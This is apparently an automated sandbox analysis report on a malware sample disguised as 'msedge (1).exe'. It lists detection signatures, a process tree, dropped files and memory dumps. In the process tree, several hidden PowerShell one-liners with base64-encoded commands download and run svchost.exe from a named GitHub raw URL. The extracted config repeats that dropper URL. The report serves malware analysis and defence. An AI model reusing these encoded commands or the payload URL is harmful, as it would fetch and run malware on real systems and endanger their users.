Overview

overview

10

Static

static

3

msedge (1).exe

windows11-21h2-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    187s
  • max time network
    188s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    09/08/2026, 14:06

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    msedge (1).exe
  • Size 41KB
  • Sample260809-rer5bssvcv
  • SHA256 c92181f1511afc52f73eb2653789addca570e338956c5b1d2d4d91ffc9da53d3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
execution

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/Sergoy0907/asdasd/raw/refs/heads/main/svchost.exe

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/Sergoy0907/asdasd/raw/refs/heads/main/svchost.exe

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/Sergoy0907/asdasd/raw/refs/heads/main/svchost.exe

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 33 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\msedge (1).exe
    "C:\Users\Admin\AppData\Local\Temp\msedge (1).exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -nop -w hidden -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwBlAHIAZwBvAHkAMAA5ADAANwAvAGEAcwBkAGEAcwBkAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnADsAIAAkAG8AdQB0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAnAHQAZQBzAHQALgBlAHgAZQAnADsAIAB0AHIAeQAgAHsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdAApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdAA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwArAF0AIABEAG8AdwBuAGwAbwBhAGQAZQBkACAAYQBuAGQAIABlAHgAZQBjAHUAdABlAGQAJwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwAgAH0A
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -w hidden -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwBlAHIAZwBvAHkAMAA5ADAANwAvAGEAcwBkAGEAcwBkAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnADsAIAAkAG8AdQB0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAnAHQAZQBzAHQALgBlAHgAZQAnADsAIAB0AHIAeQAgAHsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdAApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdAA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwArAF0AIABEAG8AdwBuAGwAbwBhAGQAZQBkACAAYQBuAGQAIABlAHgAZQBjAHUAdABlAGQAJwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwAgAH0A
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5532
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -nop -w hidden -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwBlAHIAZwBvAHkAMAA5ADAANwAvAGEAcwBkAGEAcwBkAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnADsAIAAkAG8AdQB0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAnAHQAZQBzAHQAMQAnADsAIAB0AHIAeQAgAHsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdAApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdAA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwArAF0AIABEAG8AdwBuAGwAbwBhAGQAZQBkACAAYQBuAGQAIABlAHgAZQBjAHUAdABlAGQAJwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwAgAH0A
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -w hidden -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwBlAHIAZwBvAHkAMAA5ADAANwAvAGEAcwBkAGEAcwBkAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnADsAIAAkAG8AdQB0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAnAHQAZQBzAHQAMQAnADsAIAB0AHIAeQAgAHsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdAApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdAA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwArAF0AIABEAG8AdwBuAGwAbwBhAGQAZQBkACAAYQBuAGQAIABlAHgAZQBjAHUAdABlAGQAJwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwAgAH0A
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3344
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -nop -w hidden -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwBlAHIAZwBvAHkAMAA5ADAANwAvAGEAcwBkAGEAcwBkAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnADsAIAAkAG8AdQB0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAnAHQAZQBzAHQAMgA0ADkALgBlAHgAZQAnADsAIAB0AHIAeQAgAHsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdAApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdAA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwArAF0AIABEAG8AdwBuAGwAbwBhAGQAZQBkACAAYQBuAGQAIABlAHgAZQBjAHUAdABlAGQAJwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwAgAH0A
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -nop -w hidden -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AUwBlAHIAZwBvAHkAMAA5ADAANwAvAGEAcwBkAGEAcwBkAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnADsAIAAkAG8AdQB0ACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAnAHQAZQBzAHQAMgA0ADkALgBlAHgAZQAnADsAIAB0AHIAeQAgAHsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdAApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdAA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwArAF0AIABEAG8AdwBuAGwAbwBhAGQAZQBkACAAYQBuAGQAIABlAHgAZQBjAHUAdABlAGQAJwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBFAHIAcgBvAHIAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwAgAH0A
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3440
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    PID:4656

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ModuleAnalysisCache
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 61KB
        • SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b70c5f6cb630103fa7a96bdde12ab6a2fd0ff0fd026b61dc1123e46f9fdc44c4
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 c46273753abc1719d1679637cacd39f8ac17f79276c7e3fe41eaff0a44bf41fd
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_sdxb13y3.gyl.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sdxb13y3.gyl.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/3344-17-0x00000259CC270000-0x00000259CC280000-memory.dmp
        Download

        memory/3344-18-0x00000259CC270000-0x00000259CC280000-memory.dmp
        Download

        memory/5532-2-0x000001F3AB230000-0x000001F3AB252000-memory.dmp
        Download

        memory/5532-12-0x000001F38F7B0000-0x000001F38F7C0000-memory.dmp
        Download

        memory/5532-10-0x000001F38F7B0000-0x000001F38F7C0000-memory.dmp
        Download

        memory/5532-11-0x000001F38F7B0000-0x000001F38F7C0000-memory.dmp
        Download

        memory/5532-9-0x000001F38F7B0000-0x000001F38F7C0000-memory.dmp
        Download

        memory/5532-1-0x000001F38F7B0000-0x000001F38F7C0000-memory.dmp
        Download

        memory/5532-0-0x000001F38F7B0000-0x000001F38F7C0000-memory.dmp
        Download